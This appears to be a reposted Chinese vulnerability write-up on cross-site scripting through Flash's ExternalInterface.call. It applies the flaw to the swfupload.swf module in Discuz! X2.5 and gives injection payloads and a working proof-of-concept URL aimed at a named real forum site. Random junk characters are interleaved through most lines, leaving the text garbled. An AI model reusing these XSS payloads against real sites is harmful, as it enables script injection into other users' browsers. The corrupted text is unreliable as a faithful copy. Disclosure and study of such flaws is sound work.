上回我们说
+ G0 B5 b5 X: U: v. k( j, X8 D' i8 d0 W/ e; a3 C/ _
flash.external.ExternalInterface.call($methodName, $parameter)3 T3 X7 D& `. k! t/ g& Z% {% G
在浏览器中执行的是, `) T9 W, D) ?& ~8 h- M+ P0 K
$ @! \# ]8 @# s1 F- [# c
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
( ]; V Z# w( w$ A. B对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如; q6 P- M# u0 O, ?
' ~- c- ~( v) O( [flash.external.ExternalInterface.call("object."+$methodName, $parameter)1 t; z4 y: }+ c R
$methodName = a())}catch(e){alert(/xss/)}//
2 \5 ^% N* q+ L& f' f结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
' S, x6 ]4 o# v& X" H1 b2 q" w8 u; ?& I8 Y* \( m0 S$ B- ]4 \; Q
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
, [$ v/ V- |) p1 d! E5 Y
, g- j1 L, [* H4 k3 ~$ S这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )0 X: L# q$ p5 k7 z+ L% V
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。; j0 ]$ c' W) l
- V; x+ R5 Y- H( b
: I3 i# S, j) _8 A/ c; _
9 C- r8 V8 ^9 w漏洞文件:upload\static\image\common\swfupload.swf
. j7 C! f/ P) w5 d. A) ]
0 p3 a1 C6 k6 X原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
; t j& x" _" b. N+ V9 k0 u
: N) S( _( j: L* i" r5 ^- ~. ]* f- h
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//( y6 g, U, [2 C$ p2 X% n8 R
" N. M7 z; p& O8 K! q" c' r' N. B* H" V6 p. n4 z
|